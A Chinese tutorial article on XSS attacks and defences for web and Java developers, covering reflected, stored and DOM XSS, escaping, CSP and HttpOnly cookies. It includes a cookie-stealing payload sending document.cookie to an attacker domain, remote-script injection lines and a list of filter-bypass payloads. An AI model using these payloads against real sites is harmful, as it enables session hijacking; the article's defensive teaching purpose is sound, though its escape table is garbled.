前沿

XSS防范屬于前端還是后端的責任 ?

XSS 防范是后端 RD（研發(fā)人員）的責任，后端 RD 應該在所有用戶提交數(shù)據(jù)的接口，對敏感字符進行轉義，才能進行下一步操作。

所有要插入到頁面上的數(shù)據(jù)，都要通過一個敏感字符過濾函數(shù)的轉義，過濾掉通用的敏感字符后，就可以插入到頁面中。

公司的搜索頁面如果你是下面的寫法。那么他可能存在Xss注入

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
 您搜索的關鍵詞是：<%= getParameter("keyword") %>
</div>

1. 什么是xss攻擊？

Xss 即（Cross Site Scripting）中文名稱為：跨站腳本攻擊。XSS的重點不在于跨站點，而在于腳本的執(zhí)行。

1.1 原理
惡意代碼未經過濾，與網站正常的代碼混在一起；瀏覽器無法分辨哪些腳本是可信的，導致惡意腳本被執(zhí)行。而由于直接在用戶的終端執(zhí)行，惡意代碼能夠直接獲取用戶的信息，或者利用這些信息冒充用戶向網站發(fā)起攻擊者定義的請求。

1.2 分類
Xss攻擊最主要有如下分類：反射型Xss(非持久型)、存儲型Xss(持久型)和DOM Xss。

1.2.1 反射型Xss(了解)

原理
反射性xss一般指攻擊者通過特定的方式來誘惑受害者去訪問一個包含惡意代碼的URL。當受害者點擊惡意鏈接url的時候，惡意代碼會直接在受害者的主機上的瀏覽器執(zhí)行。

步驟

• 攻擊者在url后面的參數(shù)中加入惡意攻擊代碼。
• 當用戶打開帶有惡意代碼的URL的時候，網站服務端將惡意代碼從URL中取出，拼接在html中并且返回給瀏覽器端。
• 用戶瀏覽器接收到響應后執(zhí)行解析，其中的惡意代碼也會被執(zhí)行到。
• 攻擊者通過惡意代碼來竊取到用戶數(shù)據(jù)并發(fā)送到攻擊者的網站。攻擊者會獲取到比如cookie等信息，然后使用該信息來冒充合法用戶的行為，調用目標網站接口執(zhí)行攻擊等操作。

演示

<title>csrf攻擊</title>

<a href="http://localhost:3001/xss" rel="external nofollow" >xxs 攻擊</a>
<a href="http://localhost:3001/testcookie" rel="external nofollow" >testcookie 攻擊</a>

//第一個鏈接 可以彈出指定的彈窗
router.get('/xss', (ctx, next) => {
 ctx.body = '<script>alert("反射型 XSS 攻擊")</script>';
});
//獲取當前的所有cookie
router.get('/testcookie', (ctx, next) => {
 console.log(ctx.cookies.get('connect.sid'));
 ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>';
 next();
});

1.2.2 存儲型Xss(了解)
原理
主要是將惡意代碼上傳或存儲到服務器中，下次只要受害者瀏覽包含此惡意代碼的頁面就會執(zhí)行惡意代碼。

場景
比如我現(xiàn)在做了一個博客網站，然后攻擊者在上面發(fā)布了一篇文章，內容是如下：<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我沒有對該文章進行任何處理的話，直接存入到數(shù)據(jù)庫中，那么下一次當其他用戶訪問該文章的時候，服務器會從數(shù)據(jù)庫中讀取后然后響應給客戶端，那么瀏覽器就會執(zhí)行這段腳本，然后攻擊者就會獲取到用戶的cookie，然后會把cookie發(fā)送到攻擊者的服務器上了。

步驟

• 攻擊者將惡意代碼提交到目標網站數(shù)據(jù)庫中。
• 用戶打開目標網站時，網站服務器將惡意代碼從數(shù)據(jù)庫中取出，然后拼接到html中返回給瀏覽器中。
• 用戶瀏覽器接收到響應后解析執(zhí)行，那么其中的惡意代碼也會被執(zhí)行。
• 那么惡意代碼執(zhí)行后，就能獲取到用戶數(shù)據(jù)，比如上面的cookie等信息，那么把該cookie發(fā)送到攻擊者網站中，那么攻擊者拿到該

cookie然后會冒充該用戶的行為，調用目標網站接口等違法操作。

1.2.3 DOM-based型Xss(了解)

原理
我們客戶端的js可以對頁面dom節(jié)點進行動態(tài)的操作，比如插入、修改頁面的內容。比如說客戶端從URL中提取數(shù)據(jù)并且在本地執(zhí)行、如果用戶在客戶端輸入的數(shù)據(jù)包含了惡意的js腳本的話，但是這些腳本又沒有做任何過濾處理的話，那么我們的應用程序就有可能受到DOM-based Xss的攻擊。

步驟

• 攻擊者構造出特殊的URL、在其中可能包含惡意代碼。
• 用戶打開帶有惡意代碼的URL。
• 用戶瀏覽器收到響應后解析執(zhí)行。前端使用js取出url中的惡意代碼并執(zhí)行。
• 執(zhí)行時，惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網站中，那么攻擊者網站拿到這些數(shù)據(jù)去冒充用戶的行為操作。調用目標網站接口

執(zhí)行攻擊者一些操作。

攻擊代碼

• 使用document.write直接輸出導致瀏覽器解析惡意代碼
• 使用innerHTML直接輸出導致瀏覽器解析惡意代碼
• 使用location/location.href/location.replace/iframe.src 造成的XSS

<script type="text/javascript">
  var s = location.search;      // 返回URL中的查詢部分（？之后的內容）
  // 為了方便演示，我們假如url是 如下這樣的
  // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
  // 然后我們的是 s 的值就為如下：
  s = "?url=javascript:alert('xsstest')";
  s = s.substring(1, s.length);    // 返回整個查詢內容
  var url = "";            // 定義變量url
  if (s.indexOf("url=") > -1) {    // 判斷URL是否為空 
   var pos = s.indexOf("url=") + 4; // 過濾掉"url="字符
   url = s.substring(pos, s.length); // 得到地址欄里的url參數(shù)
  } else {
   url = "url參數(shù)為空";
  }
  document.write('url: <a href="' + url + '" rel="external nofollow" >"' + url + '"</a>'); 
</script>

2. Xss有什么危害？

2.1 劫持訪問

劫持訪問就是在惡意腳本中插入諸如的代碼，那么頁面就會跳轉到百度首頁.像http://qq.com這樣的域名下出現(xiàn)...，那么在發(fā)送釣魚鏈接時就可以通過http://qq.com等域名進行跳轉，一般人一看到http://qq.com之類的域名警惕性會下降，也就更容易上當了。

2.2 盜用cookie實現(xiàn)無密碼登錄
由于盜取的cookie需要傳回給攻擊者，因此往往需要一個服務器來接收盜取的cookie。

2.3 配合csrf攻擊完成惡意請求
Csrf攻擊就是在未經你許可的情況下用你的名義發(fā)送惡意請求（比如修改密碼，銀行轉賬等）

2.4 其他危害
DOS（拒絕服務）客戶端瀏覽器。
掛馬
劫持用戶Web行為，甚至進一步滲透內網。
刪除目標文章、惡意篡改數(shù)據(jù)、嫁禍。
蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數(shù)據(jù)
蠕蟲式的DDoS攻擊。

3. 防范手段

3.1 兩大要素
XSS 攻擊有兩大要素：

• 攻擊者提交惡意代碼(輸入過濾)。
• 瀏覽器執(zhí)行惡意代碼。

xss攻擊要能達成往往需要較長的字符串，因此對于一些可以預期的輸入可以通過限制長度強制截斷來進行防御。

3.2 預防方案

3.2.1 輸入過濾

• 對輸入的內容諸如<script>、<img>等標簽進行過濾
• 其次是編碼。像一些常見的符號，如<>在輸入的時候要對其進行轉換編碼，這樣做瀏覽器是不會對該標簽進行解釋執(zhí)行的，同時也不影響顯示效果。

3.2.2 預防存儲型和反射型 Xss 攻擊
預防這兩種漏洞，有兩種常見做法：

• 改成純前端渲染，把代碼和數(shù)據(jù)分隔開。
• 對 HTML 做充分轉義。

3.2.2.1 純前端渲染
純前端渲染的過程：

• 瀏覽器先加載一個靜態(tài) HTML，此 HTML 中不包含任何跟業(yè)務相關的數(shù)據(jù)。
• 然后瀏覽器執(zhí)行 HTML 中的 JavaScript。
• JavaScript 通過 Ajax 加載業(yè)務數(shù)據(jù)，調用 DOM API 更新到頁面上。

3.2.2.2 轉義 HTML
如果拼接 HTML 是必要的，就需要采用合適的轉義庫，對 HTML 模板各處插入點進行充分的轉義。

對于 HTML 轉義通常只有一個規(guī)則，就是把 & < > " ' / 這幾個字符轉義掉，確實能起到一定的 XSS 防護作用，但并不完善：

所以要完善 Xss 防護措施，我們要使用更完善更細致的轉義策略。

例如 Java 工程里，常用的轉義庫為 org.owasp.encoder

3.2.3 輸入內容長度控制
對于不受信任的輸入，都應該限定一個合理的長度。雖然無法完全防止 Xss 發(fā)生，但可以增加 Xss 攻擊的難度。

對于明確的輸入類型，例如數(shù)字、URL、電話號碼、郵件地址等等內容，進行輸入過濾還是必要的。

3.2.4 Cookie的安全設置

HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie，攻擊者完成 XSS 注入后也無法竊取此 Cookie。

• http-only: 只允許http或https請求讀取cookie、JS代碼是無法讀取cookie的(document.cookie會顯示http-only的cookie項被自動過濾掉)。發(fā)送請求時自動發(fā)送cookie.
• secure-only: 只允許https請求讀取，發(fā)送請求時自動發(fā)送cookie。
• host-only: 只允許主機域名與domain設置完成一致的網站才能訪問該cookie。

3.2.5 安全驗證
驗證碼：防止腳本冒充用戶提交危險操作。

3.2.6 開啟CSP網頁安全政策
Content-Security-Policy 中文的意思是 網頁安全政策，

CSP是網頁安全政策(Content Security Policy)的縮寫。主要用來防止Xss攻擊。是一種由開發(fā)者定義的安全性政策申明，通過CSP所約束的責任指定可信的內容來源，通過 Content-Security-Policy 網頁的開發(fā)者可以控制整個頁面中 外部資源 的加載和執(zhí)行。
比如可以控制哪些 域名下的靜態(tài)資源可以被頁面加載，哪些不能被加載。這樣就可以很大程度的防范了 來自 跨站(域名不同) 的腳本攻擊

我們只需要在meta屬性中設置下即可：如下代碼：

<meta http-equiv="Content-Security-Policy" content="
default-src http: https: *.xxx.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.yyy.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">

• default-src 給下面所有的規(guī)則設定一個默認值
• script-src 外部腳本
• style-src 樣式表
• img-src 圖像
• media-src 媒體文件（音頻和視頻）
• font-src 字體文件
• object-src 插件（比如 Flash）
• child-src 框架
• 3.2.7 避免內聯(lián)事件

避免內聯(lián)事件 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內聯(lián)事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。

4. 總結

整體的 XSS 防范是非常復雜和繁瑣的，我們不僅需要在全部需要轉義的位置，對數(shù)據(jù)進行對應的轉義。而且要防止多余和錯誤的轉義，避免正常的用戶輸入出現(xiàn)亂碼。

雖然很難通過技術手段完全避免 XSS，但我們可以總結以下原則減少漏洞的產生：

• 利用模板引擎 開啟模板引擎自帶的 HTML 轉義功能。例如： 在 ejs 中，盡量使用 <%= data %> 而不是 <%- data %>； 在 doT.js 中，盡量使用 {{! data } 而不是 {{= data }； 在 FreeMarker 中，確保引擎版本高于 2.3.24，并且選擇正確的 freemarker.core.OutputFormat。
• 避免內聯(lián)事件 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內聯(lián)事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
• 避免拼接 HTML 前端采用拼接 HTML 的方法比較危險，如果框架允許，使用 createElement、setAttribute 之類的方法實現(xiàn)?；蛘卟捎帽容^成熟的渲染框架，如 Vue/React 等。
• 時刻保持警惕 在插入位置為 DOM 屬性、鏈接等位置時，要打起精神，嚴加防范。
• 增加攻擊難度，降低攻擊后果 通過 CSP、輸入長度配置、接口安全措施等方法，增加攻擊的難度，降低攻擊的后果。
• 主動檢測和發(fā)現(xiàn) 可使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。

5. 真實場景(搜索場景)

某天，公司需要一個搜索頁面，根據(jù) URL 參數(shù)決定關鍵詞的內容

1. 原始版本

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
 您搜索的關鍵詞是：<%= getParameter("keyword") %>
</div>

當執(zhí)行 http://xxx/search?keyword="><script>alert('XSS');</script>，服務端會解析出請求參數(shù) keyword，得到 "><script>alert('XSS');</script>，拼接到 HTML 中返回給瀏覽器,頁面就出現(xiàn)如下內容，alert 會彈出兩次。

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
 您搜索的關鍵詞是："><script>alert('XSS');</script>
</div>

2. Xss的轉義攻擊

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
 您搜索的關鍵詞是：<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下規(guī)則進行轉義：|字符|轉義后的字符| |-|-| |&|&| |<|<| |>|>| |"|"| |'|'| |/|/|

經過了轉義函數(shù)的處理后，最終瀏覽器接收到的響應為：

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
 您搜索的關鍵詞是：&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>

小結論

• 通常頁面中包含的用戶輸入內容都在固定的容器或者屬性內，以文本的形式展示。
• 攻擊者利用這些頁面的用戶輸入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代碼片段。
• 攻擊者通過在目標網站上注入腳本，使之在用戶的瀏覽器上運行，從而引發(fā)潛在風險。
• 通過 HTML 轉義，可以防止 XSS 攻擊。。
  

3. Xss過濾攻擊

當請求為： http://xxx/?redirect_to=javascript:alert('XSS') 時

<a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to")) %>">跳轉...</a>

當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS')，服務端響應就成了：

<a href="javascript:alert(&#x27;XSS&#x27;)" rel="external nofollow" >跳轉...</a>

雖然代碼不會立即執(zhí)行，但一旦用戶點擊 a 標簽時，瀏覽器會就會彈出“XSS”。

解決方案 過濾

// 禁止 URL 以 "javascript:" 開頭
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
 <a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>">
  跳轉...
 </a>
} else {
 <a href="/404" rel="external nofollow" rel="external nofollow" >
  跳轉...
 </a>
}

4. Xss的大小寫攻擊
當請求為：http://xxx/?redirect_to=%20javascript:alert('XSS') 時

%20javascript:alert('XSS') 經過 URL 解析后變成 javascript:alert('XSS')，這個字符串以空格開頭。這樣攻擊者可以繞過后端的關鍵詞規(guī)則，又成功的完成了注入。

解決方案 白名單

// 根據(jù)項目情況進行過濾，禁止掉 "javascript:" 鏈接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
 <a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>">
  跳轉...
 </a>
} else {
 <a href="/404" rel="external nofollow" rel="external nofollow" >
  跳轉...
 </a>
}

大結論

• 在 HTML 中內嵌的文本中，惡意內容以 script 標簽形成注入。
• 在內聯(lián)的 JavaScript 中，拼接的數(shù)據(jù)突破了原本的限制（字符串，變量，方法名等）。
• 在標簽屬性中，惡意內容包含引號，從而突破屬性值的限制，注入其他屬性或者標簽。
• 在標簽的 href、src 等屬性中，包含 javascript: 等可執(zhí)行代碼。
• 在 onload、onerror、onclick 等事件中，注入不受控制代碼。
• 在 style 屬性和標簽中，包含類似 background-image:url("javascript:..."); 的代碼（新版本瀏覽器已經可以防范）。
• 在 style 屬性和標簽中，包含類似 expression(...) 的 CSS 表達式代碼（新版本瀏覽器已經可以防范）。

總之，如果開發(fā)者沒有將用戶輸入的文本進行合適的過濾，就貿然插入到 HTML 中，這很容易造成注入漏洞。攻擊者可以利用漏洞，構造出惡意的代碼指令，進而利用惡意代碼危害數(shù)據(jù)安全。

6. 附常見的XSS攻擊方法

JavaScript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

IMG標簽XSS

<IMG SRC=http://3w.org/XSS/xss.js/>

IMG標簽無分號無引號

<IMG SRC=javascript:alert('XSS')>

HTML編碼(必須有分號)

<IMG SRC=javascript:alert("XSS")>

換碼過濾的JavaScript

\";alert('XSS');//

結束Title標簽

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

Iframe

<IFRAME class="lazy" data-src="javascript:alert('XSS');"></IFRAME>

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

節(jié)省[http:]

<A  rel="external nofollow" >XSS</A>

到此這篇關于java 最新Xss攻擊與防護(全方位360°詳解)的文章就介紹到這了,更多相關java Xss攻擊防護內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家！